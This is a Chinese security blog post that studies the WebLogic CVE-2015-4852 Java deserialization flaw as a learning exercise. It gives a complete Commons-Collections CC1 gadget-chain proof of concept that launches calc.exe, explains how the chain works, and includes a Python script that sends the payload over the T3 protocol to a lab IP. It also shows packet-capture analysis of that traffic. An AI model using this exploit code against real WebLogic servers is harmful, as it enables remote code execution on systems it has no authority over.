通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

原创 Juvline 极星信安 2024-06-12 15:32

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

通过搜索
welogic的历史漏洞CVE
-2015-4852
,来学习一下
java
的反序列化漏洞

CVE-2015-4852环境搭建及复现‍‍‍

*** 概述**

在10.3.6.0, 12.1.2.0, 12.1.3.0和12.2.1.0版本的WebLogic Server上都可以被利用,使用T3协议和TCP协议公用的7001端口进行RCE

*** 调用栈**

  java
  transform:125, InvokerTransformer (org.apache.commons.collections.functors)
  transform:122, ChainedTransformer (org.apache.commons.collections.functors)
  get:157, LazyMap (org.apache.commons.collections.map)
  invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
  entrySet:-1, $Proxy57 (com.sun.proxy)
  readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
  invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  invoke:39, NativeMethodAccessorImpl (sun.reflect)
  invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
  invoke:597, Method (java.lang.reflect)
  invokeReadObject:969, ObjectStreamClass (java.io)
  readSerialData:1871, ObjectInputStream (java.io)
  readOrdinaryObject:1775, ObjectInputStream (java.io)
  readObject0:1327, ObjectInputStream (java.io)
  readObject:349, ObjectInputStream (java.io)
  readObject:66, InboundMsgAbbrev (weblogic.rjvm)
  read:38, InboundMsgAbbrev (weblogic.rjvm)
  readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
  init:213, MsgAbbrevInputStream (weblogic.rjvm)
  dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
  dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
  dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
  readReadySocketOnce:967, SocketMuxer (weblogic.socket)
  readReadySocket:899, SocketMuxer (weblogic.socket)
  processSockets:130, PosixSocketMuxer (weblogic.socket)
  run:29, SocketReaderRequest (weblogic.socket)
  execute:42, SocketReaderRequest (weblogic.socket)
  execute:145, ExecuteThread (weblogic.kernel)
  run:117, ExecuteThread (weblogic.kernel)

分析‍

我们有几个特定的条件需要:

第一个需要构造好的payload,就是需要执行的代码

第二步我们需要构造反序列化链条

第三步我们需要使用T3协议进行发送,来进行触发readobjict

反序列化链条‍‍‍‍

这里使用的是cc1

poc代码

```java
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jsoup.select.Evaluator;
import org.python.antlr.op.In;

import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {

    public static void main(String[] args) throws Exception {
        //Transformer
        //Method f = Runtime.class.getMethod("getRuntime");
        //Runtime r = (Runtime) f.invoke(null);
        //r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        //不能调用runtime的序列化,原因是没有继承searlize类,使用下面的方法来进行反射的使用
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class,
                Class[].class }, new
                Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class },
                new String[] {
                    "calc.exe" }),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
//        innerMap.put("value", "xxxx");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        // 使用反射将AnnotationInvocationHandler来进行示例化,并传入我们的构造的map
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);

        //对AnnotationInvocationHandler来进行proxy
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},  handler);

        //代理之后的对象叫做proxymap,我们不能直接序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以使用AnnotationInvocationHandler对这个proxymap进行包裹
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。

LazyMap
的漏洞触发点和TransformedMap
唯一的差别是,TransformedMap
是在写入元素的时候执行transform
,而LazyMap
是在其get
方法中执行的 factory.transform

java
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到 Map
的get
方法,
所以我们找到了另一条路,使用AnnotationInvocationHandler
的invoke
方法,也就是对象代理。

java
 public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    //这里调用了value方法
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
                        return var6;
                    }
            }
        }
    }

对象代理

对象代理(参考:
https://www.cnblogs.com/caoweixiong/p/13141220.html

我们可以粗浅的认为,对象代理就是一个复合函数,类似
g(f(x)),来进行劫持一个对象内部的方法调用,我们需要用到一个类是
java.reflect.Proxy

java
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

newProxyInstance需要三个参数:

第一个是classloader,我们通常都使用默认的

第二个参数是我们需要代理的接口的集合

第三个参数是一个实现了InvocationHandler的对象,里面包含了具体代理的逻辑

使用LazyMap构造利用链

我们先构造一个transformer
时候的ChainedTransformer
对象

java
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, 
    new Object[] { "getRuntime",new Class[0] }),
    new InvokerTransformer("invoke",
    new Class[] { Object.class, Object[].class },
    new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
    new String[] {"calc.exe" }),
        };

    Transformer transformerChain = new ChainedTransformer(transformers);

我们使用LazyMap
来进行替换TransformedMap

java
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

接着,需要对sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy

java
 // 使用反射将AnnotationInvocationHandler来进行示例化,并传入我们的构造的map
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
//对AnnotationInvocationHandler来进行proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},  handler);

但是我们不能直接对
prxymap直接进行序列化,因为我们的入口点是
readobject函数,我们还需要再次对
proxymap进行包裹

java
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);

构造链

java
AnnotationInvocationHandler的readobject函数
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
    //此处是调用点
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
bash
->AnnotationInvocationHandler.readObject()
      ->mapProxy.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                    ->InvokerTransformer.transform()
                    ->…………

思考

环境问题搭配,因为我用的是8u111
,AnnotationInvocationHandler
的readobject

java
       private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
          ObjectInputStream.GetField var2 = var1.readFields();
          Class var3 = (Class)var2.get("type", (Object)null);
          Map var4 = (Map)var2.get("memberValues", (Object)null);
          AnnotationType var5 = null;

          try {
              var5 = AnnotationType.getInstance(var3);
          } catch (IllegalArgumentException var13) {
              throw new InvalidObjectException("Non-annotation type in annotation serial stream");
          }

          Map var6 = var5.memberTypes();
          LinkedHashMap var7 = new LinkedHashMap();

          String var10;
          Object var11;
          for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
              Map.Entry var9 = (Map.Entry)var8.next();
              var10 = (String)var9.getKey();
              var11 = null;
              Class var12 = (Class)var6.get(var10);
              if (var12 != null) {
                  var11 = var9.getValue();
                  if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                      var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                  }
              }
          }

          AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
          AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
      }

并没有出现
Iterator var4 = this.memberValues.entrySet().iterator();的类似的调用
map函数的语句,但是再
debug的时候依然会弹出计算器,原因是在
debug的时候下面会使用一些经过
proxy的
map对象的函数,类似
tostring,所以会造成
invoke的调用来弹出计算器

T3协议脚本学习

根据poc脚本来简单学习一下如何构造
T3协议

python
import socket
import struct

def exp(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        f = open('./tmp', 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('>I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u'socket 连接异常!')
    finally:
        sock.close()

exp('172.16.2.129', 7001)

使用命令

bash
sudo tcpdump -i any port 7001 -w t3.pcap

将反序列化过程中的流量包截取下来

追踪tcp
流,首先看发送的head

得到了回复是weblogic的版本

使用tcp contains ac:ed:00:05
进行过滤,追踪tcp
流,然后转为c
数组

网上了解到总共存在两种方式来构造
java序列化数据,第一种是将
weblogic发送的
java序列化数据的第二到第七部分的
java序列化数据替换为恶意的序列化数据

第二种为
weblogic发送的
java序列化数据的第一部分与恶意的序列化数据进行拼接

脚本中的payload为第一个部分,前四个字节
(0x5ba)为数据包的长度,
payload3为其它的
java反序列化数据,然后在中间插上我们的恶意数据

总结

以前接触的
java漏洞也比较少,这次学习花了很久的时间,主要是反序列化链条实在太令人头痛了,还有就是以前也从来没有使用过
wireshark来分析过协议,这一次主要简单学习一下脚本到底构造了什么内容,这些都是最基础的内容,后面会进行继续跟进学习,看这些代码是怎么进行不断修复,又是怎么有人会进行不断的绕过。

关注我们

公众号回复“2024Hw应急工具”获取Hw应急工具集

公众号回复“简历模版”获取
Hw简历模版

**公众号回复“2024面经大全获取全套面经以及回答思路